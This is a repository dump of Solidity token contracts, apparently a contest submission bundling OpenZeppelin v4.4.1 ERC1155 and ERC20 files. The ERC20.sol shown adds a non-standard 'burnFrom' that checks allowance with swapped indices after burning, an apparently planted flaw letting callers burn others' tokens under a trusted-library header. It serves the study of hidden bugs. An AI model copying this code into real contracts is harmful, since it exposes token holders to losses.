* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/IERC1155.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/IERC1155Receiver.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/README.adoc
================================================
= ERC 1155
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc1155
This set of interfaces and contracts are all related to the https://eips.ethereum.org/EIPS/eip-1155[ERC1155 Multi Token Standard].
The EIP consists of three interfaces which fulfill different roles, found here as {IERC1155}, {IERC1155MetadataURI} and {IERC1155Receiver}.
{ERC1155} implements the mandatory {IERC1155} interface, as well as the optional extension {IERC1155MetadataURI}, by relying on the substitution mechanism to use the same URI for all token types, dramatically reducing gas costs.
Additionally there are multiple custom extensions, including:
* designation of addresses that can pause token transfers for all users ({ERC1155Pausable}).
* destruction of own tokens ({ERC1155Burnable}).
NOTE: This core set of contracts is designed to be unopinionated, allowing developers to access the internal functions in ERC1155 (such as <>) and expose them as external functions in the way they prefer. On the other hand, xref:ROOT:erc1155.adoc#Presets[ERC1155 Presets] (such as {ERC1155PresetMinterPauser}) are designed using opinionated patterns to provide developers with ready to use, deployable contracts.
== Core
{{IERC1155}}
{{IERC1155MetadataURI}}
{{ERC1155}}
{{IERC1155Receiver}}
== Extensions
{{ERC1155Pausable}}
{{ERC1155Burnable}}
{{ERC1155Supply}}
== Presets
These contracts are preconfigured combinations of the above features. They can be used through inheritance or as models to copy and paste their source code.
{{ERC1155PresetMinterPauser}}
== Utilities
{{ERC1155Holder}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/extensions/ERC1155Burnable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Burnable.sol)
pragma solidity ^0.8.0;
import "../ERC1155.sol";
/**
* @dev Extension of {ERC1155} that allows token holders to destroy both their
* own tokens and those that they have been approved to use.
*
* _Available since v3.1._
*/
abstract contract ERC1155Burnable is ERC1155 {
function burn(
address account,
uint256 id,
uint256 value
) public virtual {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_burn(account, id, value);
}
function burnBatch(
address account,
uint256[] memory ids,
uint256[] memory values
) public virtual {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_burnBatch(account, ids, values);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/extensions/ERC1155Pausable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Pausable.sol)
pragma solidity ^0.8.0;
import "../ERC1155.sol";
import "../../../security/Pausable.sol";
/**
* @dev ERC1155 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*
* _Available since v3.1._
*/
abstract contract ERC1155Pausable is ERC1155, Pausable {
/**
* @dev See {ERC1155-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
require(!paused(), "ERC1155Pausable: token transfer while paused");
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/extensions/ERC1155Supply.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Supply.sol)
pragma solidity ^0.8.0;
import "../ERC1155.sol";
/**
* @dev Extension of ERC1155 that adds tracking of total supply per id.
*
* Useful for scenarios where Fungible and Non-fungible tokens have to be
* clearly identified. Note: While a totalSupply of 1 might mean the
* corresponding is an NFT, there is no guarantees that no other token with the
* same id are not going to be minted.
*/
abstract contract ERC1155Supply is ERC1155 {
mapping(uint256 => uint256) private _totalSupply;
/**
* @dev Total amount of tokens in with a given id.
*/
function totalSupply(uint256 id) public view virtual returns (uint256) {
return _totalSupply[id];
}
/**
* @dev Indicates whether any token exist with a given id, or not.
*/
function exists(uint256 id) public view virtual returns (bool) {
return ERC1155Supply.totalSupply(id) > 0;
}
/**
* @dev See {ERC1155-_beforeTokenTransfer}.
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
if (from == address(0)) {
for (uint256 i = 0; i < ids.length; ++i) {
_totalSupply[ids[i]] += amounts[i];
}
}
if (to == address(0)) {
for (uint256 i = 0; i < ids.length; ++i) {
_totalSupply[ids[i]] -= amounts[i];
}
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
import "../IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/presets/ERC1155PresetMinterPauser.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/presets/ERC1155PresetMinterPauser.sol)
pragma solidity ^0.8.0;
import "../ERC1155.sol";
import "../extensions/ERC1155Burnable.sol";
import "../extensions/ERC1155Pausable.sol";
import "../../../access/AccessControlEnumerable.sol";
import "../../../utils/Context.sol";
/**
* @dev {ERC1155} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract ERC1155PresetMinterPauser is Context, AccessControlEnumerable, ERC1155Burnable, ERC1155Pausable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, and `PAUSER_ROLE` to the account that
* deploys the contract.
*/
constructor(string memory uri) ERC1155(uri) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
/**
* @dev Creates `amount` new tokens for `to`, of token type `id`.
*
* See {ERC1155-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have minter role to mint");
_mint(to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] variant of {mint}.
*/
function mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have minter role to mint");
_mintBatch(to, ids, amounts, data);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC1155Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC1155Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have pauser role to unpause");
_unpause();
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControlEnumerable, ERC1155)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override(ERC1155, ERC1155Pausable) {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/utils/ERC1155Holder.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Holder.sol)
pragma solidity ^0.8.0;
import "./ERC1155Receiver.sol";
/**
* @dev _Available since v3.1._
*/
contract ERC1155Holder is ERC1155Receiver {
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] memory,
uint256[] memory,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/utils/ERC1155Receiver.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../IERC1155Receiver.sol";
import "../../../utils/introspection/ERC165.sol";
/**
* @dev _Available since v3.1._
*/
abstract contract ERC1155Receiver is ERC165, IERC1155Receiver {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev See {IERC20-burnFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function burnFrom(
address sender,
uint256 amount
) public virtual returns (bool) {
_burn(sender, amount);
uint256 currentAllowance = _allowances[_msgSender()][sender];
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
